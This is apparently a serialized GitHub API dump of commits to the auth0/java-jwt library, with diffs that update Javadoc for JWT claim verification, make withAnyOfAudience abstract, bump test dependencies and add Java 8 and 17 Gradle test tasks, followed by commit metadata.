-     * From version 4.0 on, the method will be abstract and all implementations of this interface
-     * will have to provide their own implementation.
-     *
-     * The default implementation throws an {@linkplain UnsupportedOperationException}.
+     * Verifies whether the JWT contains an Audience ("aud") claim contain at least one of the specified audiences.
+     * This check is case-sensitive. An empty array is considered as a {@code null}.
      *
      * @param audience the required Audience value for which the "aud" claim must contain at least one value.
      * @return this same Verification instance.
      */
-    default Verification withAnyOfAudience(String... audience) {
-        throw new UnsupportedOperationException("withAnyOfAudience");
-    }
+    Verification withAnyOfAudience(String... audience);
     
     /**
      * Define the default window in seconds in which the Not Before, Issued At and Expires At Claims
@@ -116,149 +105,152 @@ default Verification withAnyOfAudience(String... audience) {
     Verification acceptIssuedAt(long leeway) throws IllegalArgumentException;
 
     /**
-     * Require a specific JWT Id ("jti") claim.
+     * Verifies whether the JWT contains a JWT ID ("jti") claim that equals to the value provided.
+     * This check is case-sensitive.
      *
-     * @param jwtId the required Id value
+     * @param jwtId the required ID value
      * @return this same Verification instance.
      */
     Verification withJWTId(String jwtId);
 
     /**
-     * Require a claim to be present, with any value.
+     * Verifies whether the claim is present in the JWT, with any value including {@code null}.
      *
      * @param name the Claim's name.
      * @return this same Verification instance
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaimPresence(String name) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value to be null.
+     * Verifies whether the claim is present with a {@code null} value.
      *
      * @param name the Claim's name.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withNullClaim(String name) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value.
+     * Verifies whether the claim is equal to the given Boolean value.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, Boolean value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value.
+     * Verifies whether the claim is equal to the given Integer value.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, Integer value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value.
+     * Verifies whether the claim is equal to the given Long value.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, Long value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value.
+     * Verifies whether the claim is equal to the given Integer value.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, Double value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value.
+     * Verifies whether the claim is equal to the given String value.
+     * This check is case-sensitive.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, String value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch;
+     * Verifies whether the claim is equal to the given Date value.
+     * Note that date-time claims are serialized as seconds since the epoch;
      * when verifying date-time claim value, any time units more granular than seconds will not be considered.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, Date value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch;
+     * Verifies whether the claim is equal to the given Instant value.
+     * Note that date-time claims are serialized as seconds since the epoch;
      * when verifying a date-time claim value, any time units more granular than seconds will not be considered.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     default Verification withClaim(String name, Instant value) throws IllegalArgumentException {
         return withClaim(name, value != null ? Date.from(value) : null);
     }
 
     /**
-     * Executes the predicate provided during the verification
-     * and passes the verification if the predicate returns true.
+     * Executes the predicate provided and the validates the JWT if the predicate returns true.
      *
      * @param name the Claim's name
      * @param predicate the predicate check to be done.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, BiPredicate<Claim, DecodedJWT> predicate) throws IllegalArgumentException;
 
     /**
-     * Require a specific Array Claim to contain at least the given items.
+     * Verifies whether the claim contain at least the given String items.
      *
      * @param name  the Claim's name.
      * @param items the items the Claim must contain.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withArrayClaim(String name, String... items) throws IllegalArgumentException;
 
     /**
-     * Require a specific Array Claim to contain at least the given items.
+     * Verifies whether the claim contain at least the given Integer items.
      *
      * @param name  the Claim's name.
      * @param items the items the Claim must contain.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withArrayClaim(String name, Integer... items) throws IllegalArgumentException;
 
     /**
-     * Require a specific Array Claim to contain at least the given items.
+     * Verifies whether the claim contain at least the given Long items.
      *
      * @param name  the Claim's name.
      * @param items the items the Claim must contain.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
 
     Verification withArrayClaim(String name, Long ... items) throws IllegalArgumentException;
 
     /**
-     * Skip the Issued At ("iat") date verification. By default, the verification is performed.
+     * Skip the Issued At ("iat") claim verification. By default, the verification is performed.
      *
      * @return this same Verification instance.
      */
@@ -267,7 +259,7 @@ default Verification withClaim(String name, Instant value) throws IllegalArgumen
     /**
      * Creates a new and reusable instance of the JWTVerifier with the configuration already provided.
      *
-     * @return a new JWTVerifier instance.
+     * @return a new {@link com.auth0.jwt.interfaces.JWTVerifier} instance.
      */
     JWTVerifier build();
 }u}(ja  (11acb029ef03c5524013049b19eb0214d364c2a7j  @lib/src/test/java/com/auth0/jwt/interfaces/VerificationTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.javaj  https://github.com/auth0/java-jwt/raw/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.java?ref=6c4ea9ed04cfe7a1c178d74dff72949a4e45e628j  X  @@ -38,13 +38,6 @@ public void withInstantClaimShouldUseDefaultImplAndHandleNull() {
         assertThat(((VerificationImplForTest)verification).expectedClaims, hasEntry("name", null));
     }
 
-    @Test
-    public void withAnyOfAudienceDeafultImplShouldThrow() {
-        assertThrows("withAnyOfAudience", UnsupportedOperationException.class, () -> {
-            new VerificationImplForTest().withAnyOfAudience("");
-        });
-    }
-
     @Test
     public void withIssuerStringDefaultImplShouldDelegate() {
         Verification verification = new VerificationImplForTest()
@@ -74,6 +67,11 @@ public Verification withAudience(String... audience) {
             return null;
         }
 
+        @Override
+        public Verification withAnyOfAudience(String... audience) {
+            return null;
+        }
+
         @Override
         public Verification acceptLeeway(long leeway) throws IllegalArgumentException {
             return null;ueu(0a509d556503e56ccfb47c05b2d774cd6aa0e22a}(sha(0a509d556503e56ccfb47c05b2d774cd6aa0e22anode_idEC_kwDOAQtL0doAKDBhNTA5ZDU1NjUwM2U1NmNjZmI0N2MwNWIyZDc3NGNkNmFhMGUyMmEcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-03-10T15:54:03Zu	committer}(jD  James AndersonjF  jim.anderson@auth0.comjH  2022-03-10T15:54:03ZumessageUpdate test dependenciestree}(j<  (931ce5b5ff77bf9fe543664cfba16ba239f1ef4burl^https://api.github.com/repos/auth0/java-jwt/git/trees/931ce5b5ff77bf9fe543664cfba16ba239f1ef4bujT  `https://api.github.com/repos/auth0/java-jwt/git/commits/0a509d556503e56ccfb47c05b2d774cd6aa0e22a
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujT  \https://api.github.com/repos/auth0/java-jwt/commits/0a509d556503e56ccfb47c05b2d774cd6aa0e22ahtml_urlQhttps://github.com/auth0/java-jwt/commit/0a509d556503e56ccfb47c05b2d774cd6aa0e22acomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/0a509d556503e56ccfb47c05b2d774cd6aa0e22a/commentsjB  }(login
jimmyjamesidJ7 j>  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jT  'https://api.github.com/users/jimmyjamesj`  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujJ  }(je  
jimmyjamesjg  J7 j>  MDQ6VXNlcjI3NjIyNQ==ji  2https://avatars.githubusercontent.com/u/276225?v=4jk  h3jT  'https://api.github.com/users/jimmyjamesj`  https://github.com/jimmyjamesjn  1https://api.github.com/users/jimmyjames/followersjp  >https://api.github.com/users/jimmyjames/following{/other_user}jr  7https://api.github.com/users/jimmyjames/gists{/gist_id}jt  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jv  5https://api.github.com/users/jimmyjames/subscriptionsjx  ,https://api.github.com/users/jimmyjames/orgsjz  -https://api.github.com/users/jimmyjames/reposj|  8https://api.github.com/users/jimmyjames/events{/privacy}j~  7https://api.github.com/users/jimmyjames/received_eventsj  Userj  uparents]}(j<  (90cea2d99680b985130f702ccb830bb322458171jT  \https://api.github.com/repos/auth0/java-jwt/commits/90cea2d99680b985130f702ccb830bb322458171j`  Qhttps://github.com/auth0/java-jwt/commit/90cea2d99680b985130f702ccb830bb322458171uastats}(totalK%	additionsK	deletionsKufiles](}(j<  (9dcf7e40d35f0caa26d616486f6967ee3564b6e8filenamelib/build.gradlestatusmodifiedj  Kj  KchangesK
blob_urlbhttps://github.com/auth0/java-jwt/blob/0a509d556503e56ccfb47c05b2d774cd6aa0e22a/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/0a509d556503e56ccfb47c05b2d774cd6aa0e22a/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=0a509d556503e56ccfb47c05b2d774cd6aa0e22apatchX  @@ -48,11 +48,12 @@ javadoc {
 
 dependencies {
     implementation 'com.fasterxml.jackson.core:jackson-databind:2.12.6'
-    testImplementation 'org.bouncycastle:bcprov-jdk15on:1.60'
-    testImplementation 'junit:junit:4.12'
-    testImplementation 'net.jodah:concurrentunit:0.4.3'
-    testImplementation 'org.hamcrest:java-hamcrest:2.0.0.0'
-    testImplementation 'org.mockito:mockito-core:2.18.3'
+
+    testImplementation 'org.bouncycastle:bcprov-jdk15on:1.70'
+    testImplementation 'junit:junit:4.13.2'
+    testImplementation 'net.jodah:concurrentunit:0.4.6'
+    testImplementation 'org.hamcrest:hamcrest:2.2'
+    testImplementation 'org.mockito:mockito-core:4.4.0'
 }
 
 jacoco {
@@ -92,7 +93,7 @@ task compileModuleInfoJava(type: JavaCompile) {
 }
 
 compileTestJava {
-    options.compilerArgs = ['--release', "8"]
+    options.compilerArgs = ['--release', "8", "-Xlint:deprecation"]
 }
 
 def testJava8 = tasks.register('testJava8', Test) {u}(j<  (626bc6fd854c9189094fa6f1f98aa025cf08f938j  3lib/src/test/java/com/auth0/jwt/JWTDecoderTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/0a509d556503e56ccfb47c05b2d774cd6aa0e22a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj  https://github.com/auth0/java-jwt/raw/0a509d556503e56ccfb47c05b2d774cd6aa0e22a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.java?ref=0a509d556503e56ccfb47c05b2d774cd6aa0e22aj  X  @@ -5,7 +5,7 @@
 import com.auth0.jwt.interfaces.Claim;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import org.hamcrest.collection.IsCollectionWithSize;
-import org.hamcrest.core.IsCollectionContaining;
+import org.hamcrest.core.IsIterableContaining;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
@@ -142,15 +142,15 @@ public void shouldGetArrayAudience() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOlsiSG9wZSIsIlRyYXZpcyIsIlNvbG9tb24iXX0.Tm4W8WnfPjlmHSmKFakdij0on2rWPETpoM7Sh0u6-S4");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getAudience(), is(IsCollectionWithSize.hasSize(3)));
-        assertThat(jwt.getAudience(), is(IsCollectionContaining.hasItems("Hope", "Travis", "Solomon")));
+        assertThat(jwt.getAudience(), is(IsIterableContaining.hasItems("Hope", "Travis", "Solomon")));
     }
 
     @Test
     public void shouldGetStringAudience() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJKYWNrIFJleWVzIn0.a4I9BBhPt1OB1GW67g2P1bEHgi6zgOjGUL4LvhE9Dgc");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getAudience(), is(IsCollectionWithSize.hasSize(1)));
-        assertThat(jwt.getAudience(), is(IsCollectionContaining.hasItems("Jack Reyes")));
+        assertThat(jwt.getAudience(), is(IsIterableContaining.hasItems("Jack Reyes")));
     }
 
     @Testu}(j<  (35ad4971bdd4b65f38af60c66d830852d20c9e6bj  ,lib/src/test/java/com/auth0/jwt/JWTTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/0a509d556503e56ccfb47c05b2d774cd6aa0e22a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj  https://github.com/auth0/java-jwt/raw/0a509d556503e56ccfb47c05b2d774cd6aa0e22a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=0a509d556503e56ccfb47c05b2d774cd6aa0e22aj  Xz  @@ -3,7 +3,7 @@
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import org.hamcrest.collection.IsCollectionWithSize;
-import org.hamcrest.core.IsCollectionContaining;
+import org.hamcrest.core.IsIterableContaining;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
@@ -256,7 +256,7 @@ public void shouldGetArrayAudience() {
 
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getAudience(), is(IsCollectionWithSize.hasSize(3)));
-        assertThat(jwt.getAudience(), is(IsCollectionContaining.hasItems("Hope", "Travis", "Solomon")));
+        assertThat(jwt.getAudience(), is(IsIterableContaining.hasItems("Hope", "Travis", "Solomon")));
     }
 
     @Test
@@ -268,7 +268,7 @@ public void shouldGetStringAudience() {
 
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getAudience(), is(IsCollectionWithSize.hasSize(1)));
-        assertThat(jwt.getAudience(), is(IsCollectionContaining.hasItems("Jack Reyes")));
+        assertThat(jwt.getAudience(), is(IsIterableContaining.hasItems("Jack Reyes")));
     }
 
     @Testu}(j<  (2d80bed9fb798b68c9c6497e4ea8d766fb157038j  Alib/src/test/java/com/auth0/jwt/impl/PayloadDeserializerTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/0a509d556503e56ccfb47c05b2d774cd6aa0e22a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj  https://github.com/auth0/java-jwt/raw/0a509d556503e56ccfb47c05b2d774cd6aa0e22a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.java?ref=0a509d556503e56ccfb47c05b2d774cd6aa0e22aj  X`  @@ -12,7 +12,7 @@
 import com.fasterxml.jackson.databind.node.*;
 import org.hamcrest.collection.IsCollectionWithSize;
 import org.hamcrest.collection.IsEmptyCollection;
-import org.hamcrest.core.IsCollectionContaining;
+import org.hamcrest.core.IsIterableContaining;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
@@ -93,7 +93,7 @@ public void shouldNotRemoveKnownPublicClaimsFromTree() throws Exception {
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getIssuer(), is("auth0"));
         assertThat(payload.getSubject(), is("emails"));
-        assertThat(payload.getAudience(), is(IsCollectionContaining.hasItem("users")));
+        assertThat(payload.getAudience(), is(IsIterableContaining.hasItem("users")));
         assertThat(payload.getIssuedAt().getTime(), is(10101010L * 1000));
         assertThat(payload.getExpiresAt().getTime(), is(11111111L * 1000));
         assertThat(payload.getNotBefore().getTime(), is(10101011L * 1000));
@@ -126,7 +126,7 @@ public void shouldGetStringArrayWhenParsingArrayNode() {
         List<String> values = deserializer.getStringOrArray(tree, "key");
         assertThat(values, is(notNullValue()));
         assertThat(values, is(IsCollectionWithSize.hasSize(2)));
-        assertThat(values, is(IsCollectionContaining.hasItems("one", "two")));
+        assertThat(values, is(IsIterableContaining.hasItems("one", "two")));
     }
 
     @Test
@@ -138,7 +138,7 @@ public void shouldGetStringArrayWhenParsingTextNode() {
         List<String> values = deserializer.getStringOrArray(tree, "key");
         assertThat(values, is(notNullValue()));
         assertThat(values, is(IsCollectionWithSize.hasSize(1)));
-        assertThat(values, is(IsCollectionContaining.hasItems("something")));
+        assertThat(values, is(IsIterableContaining.hasItems("something")));
     }
 
     @Testu}(j<  (9e2e6902d94473f82e8f4f7665a458e865802e21j  9lib/src/test/java/com/auth0/jwt/impl/PayloadImplTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/0a509d556503e56ccfb47c05b2d774cd6aa0e22a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.javaj  https://github.com/auth0/java-jwt/raw/0a509d556503e56ccfb47c05b2d774cd6aa0e22a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.java?ref=0a509d556503e56ccfb47c05b2d774cd6aa0e22aj  X  @@ -6,7 +6,7 @@
 import com.fasterxml.jackson.databind.ObjectReader;
 import com.fasterxml.jackson.databind.node.TextNode;
 import org.hamcrest.collection.IsCollectionWithSize;
-import org.hamcrest.core.IsCollectionContaining;
+import org.hamcrest.core.IsIterableContaining;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
@@ -86,7 +86,7 @@ public void shouldGetAudience() {
         assertThat(payload, is(notNullValue()));
 
         assertThat(payload.getAudience(), is(IsCollectionWithSize.hasSize(1)));
-        assertThat(payload.getAudience(), is(IsCollectionContaining.hasItems("audience")));
+        assertThat(payload.getAudience(), is(IsIterableContaining.hasItems("audience")));
     }
 
     @Testueu(ed91dc6db9fd4b31b14ff8c5299b68acad560789}(sha(ed91dc6db9fd4b31b14ff8c5299b68acad560789node_idEC_kwDOAQtL0doAKGVkOTFkYzZkYjlmZDRiMzFiMTRmZjhjNTI5OWI2OGFjYWQ1NjA3ODkcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-07T16:30:51Zu	committer}(j  GitHubj  noreply@github.comj  2022-03-07T16:30:51ZumessageX  Testing Java LTS versions (#536)

* Added Gradle Tasks to run tests on Java LTS versions

* Ignore secp256k1 curve tests

* Removing ignore for tests and checking the CI failure

* Exclude secp256k1 Tests for Java 17

* Remove unwanted "ignore" importstree}(j  (e9641faab4fb39c24f31af8da35e4849cd101314url^https://api.github.com/repos/auth0/java-jwt/git/trees/e9641faab4fb39c24f31af8da35e4849cd101314uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/ed91dc6db9fd4b31b14ff8c5299b68acad560789
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiJjM7CRBK7hj4Ov3rIwAAx+AIAC6K07bueH8Bv9Je5zyBnROk
hdA+zz/nUWByE9ODhqvgcN1Atm923aCySQkaxN3/J44s0rURZAKjjjyNtBB+ap0x
NLZs0EVKnnQ6IeYUS7sEmVc2szopBm/dQWyHo0YTucOrRjmvlMYKMfqV9fkS7L+9
tA3QIUzBuugA8FQRXOHEgVpYfniiu5kP+BHzmoGzdxPgFDB5sj06apV28LDSgqev
MfuMVqdYkD8AR55j44Ba1e6zERgzcj4nsT6VgLPDdCGmO6NJip5bUC6OzTeqI0nl
4bu3+1qI9a0Pk8UfZXFP1drEQMJt5EoO0lCHL5vPkGXAM8mF6/m4vUIUZU1lWIY=
=7/MI
-----END PGP SIGNATURE-----
payloadX  tree e9641faab4fb39c24f31af8da35e4849cd101314
parent 5c94325d6ca48532e1e13193e85a0eaec71c1ed6
author Poovamraj T T <poovamraj@gmail.com> 1646670651 +0530
committer GitHub <noreply@github.com> 1646670651 +0100

Testing Java LTS versions (#536)

* Added Gradle Tasks to run tests on Java LTS versions

* Ignore secp256k1 curve tests

* Removing ignore for tests and checking the CI failure

* Exclude secp256k1 Tests for Java 17

* Remove unwanted "ignore" importsuuj  \https://api.github.com/repos/auth0/java-jwt/commits/ed91dc6db9fd4b31b14ff8c5299b68acad560789html_urlQhttps://github.com/auth0/java-jwt/commit/ed91dc6db9fd4b31b14ff8c5299b68acad560789comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/ed91dc6db9fd4b31b14ff8c5299b68acad560789/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j   4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j	  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j
  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents]}(j  (5c94325d6ca48532e1e13193e85a0eaec71c1ed6j  \https://api.github.com/repos/auth0/java-jwt/commits/5c94325d6ca48532e1e13193e85a0eaec71c1ed6j  Qhttps://github.com/auth0/java-jwt/commit/5c94325d6ca48532e1e13193e85a0eaec71c1ed6uastats}(totalK.	additionsK.	deletionsK ufiles]}(j  (2bb5c599acc6d4ccabac39d0929d3dd531862862filenamelib/build.gradlestatusmodifiedj3  K.j4  K changesK.blob_urlbhttps://github.com/auth0/java-jwt/blob/ed91dc6db9fd4b31b14ff8c5299b68acad560789/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/ed91dc6db9fd4b31b14ff8c5299b68acad560789/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=ed91dc6db9fd4b31b14ff8c5299b68acad560789patchX  @@ -55,6 +55,10 @@ dependencies {
     testImplementation 'org.mockito:mockito-core:2.18.3'
 }
 
+jacoco {
+    toolVersion = "0.8.7"
+}
+
 jacocoTestReport {
     reports {
         xml.enabled = true
@@ -87,6 +91,48 @@ task compileModuleInfoJava(type: JavaCompile) {
     }
 }
 
+compileTestJava {
+    options.compilerArgs = ['--release', "8"]
+}
+
+def testJava8 = tasks.register('testJava8', Test) {
+    description = 'Runs unit tests on Java 8.'
+    group = 'verification'
+
+    javaLauncher.set(javaToolchains.launcherFor {
+        languageVersion = JavaLanguageVersion.of(8)
+    })
+    shouldRunAfter(tasks.named('test'))
+}
+
+def testJava17 = tasks.register('testJava17', Test) {
+    description = 'Runs unit tests on Java 17.'
+    group = 'verification'
+
+    javaLauncher.set(javaToolchains.launcherFor {
+        languageVersion = JavaLanguageVersion.of(17)
+    })
+    shouldRunAfter(tasks.named('test'))
+
+    //Following Tests are excluded in Java 17 since secp256k1 curve is disabled Java 15+
+    filter {
+        excludeTestsMatching "*.jwt.ConcurrentVerifyTest.shouldPassECDSA256KVerificationWithJOSESignature"
+        excludeTestsMatching "*.jwt.JWTCreatorTest.shouldAddKeyIdIfAvailableFromECDSAKAlgorithms"
+        excludeTestsMatching "*.jwt.JWTCreatorTest.shouldNotOverwriteKeyIdIfAddedFromECDSAKAlgorithms"
+        excludeTestsMatching "*.jwt.JWTTest.shouldCreateAnEmptyECDSA256KSignedToken"
+        excludeTestsMatching "*.jwt.algorithms.ECDSAAlgorithmTest.shouldPassECDSA256KVerificationWithJOSESignature"
+        excludeTestsMatching "*.jwt.algorithms.ECDSAAlgorithmTest.shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys"
+        excludeTestsMatching "*.jwt.algorithms.ECDSAAlgorithmTest.shouldPassECDSA256KVerificationWithProvidedPublicKey"
+        excludeTestsMatching "*.jwt.ECDSABouncyCastleProviderTests.shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys"
+        excludeTestsMatching "*.jwt.ECDSABouncyCastleProviderTests.shouldPassECDSA256KVerificationWithProvidedPublicKey"
+    }
+}
+
+tasks.named('check') {
+    dependsOn(testJava8)
+    dependsOn(testJava17)
+}
+
 jar {
     manifest.attributes('Multi-Release': 'true')
 }uau(b2cd7435712f270b10686e8cceb19dd7e9428366}(sha(b2cd7435712f270b10686e8cceb19dd7e9428366node_idEC_kwDOAQtL0doAKGIyY2Q3NDM1NzEyZjI3MGIxMDY4NmU4Y2NlYjE5ZGQ3ZTk0MjgzNjYcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-01-13T14:25:41Zu	committer}(jP  GitHubjR  noreply@github.comjT  2022-01-13T14:25:41ZumessageAMerge pull request #524 from auth0/release-3.18.3

Release 3.18.3tree}(jH  (556e8071f7c9f57eae0dab6df0b78c9be2603f05url^https://api.github.com/repos/auth0/java-jwt/git/trees/556e8071f7c9f57eae0dab6df0b78c9be2603f05uj`  `https://api.github.com/repos/auth0/java-jwt/git/commits/b2cd7435712f270b10686e8cceb19dd7e9428366
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJh4DZlCRBK7hj4Ov3rIwAA7+wIAJQes1jfa/V+myIr10OW7ue+
5uiH5d9ba4p3e6MoLK75D6w1SlaR1qsMZi3qCdXjOzD+wTPIboVqPWDEP2g+PxIF
iaSmnDjqZyzjfxetpyVIftHpW6M1dr2U+bNvfZrXyVSvWh3D/U0gs2IWha/hWkg+
truLkmyvXt3AeOht5SaqfN7Xsi+J12Dt9Kge+dk/5xifSdRc8X1569lY8C5lIW6r
5XhNV54UrGM847ssPdEIHW/fl+8T+OiylZtiNtudj7E+37NWEl8Jbo0d5bV4kAca
MalsjlDhW1A99NRM0UhdXjAGFzv7J8mEpQCEpZPHSzBc04B7AYWJHyGcTmY1gZ8=
=BezM
-----END PGP SIGNATURE-----
payloadXE  tree 556e8071f7c9f57eae0dab6df0b78c9be2603f05
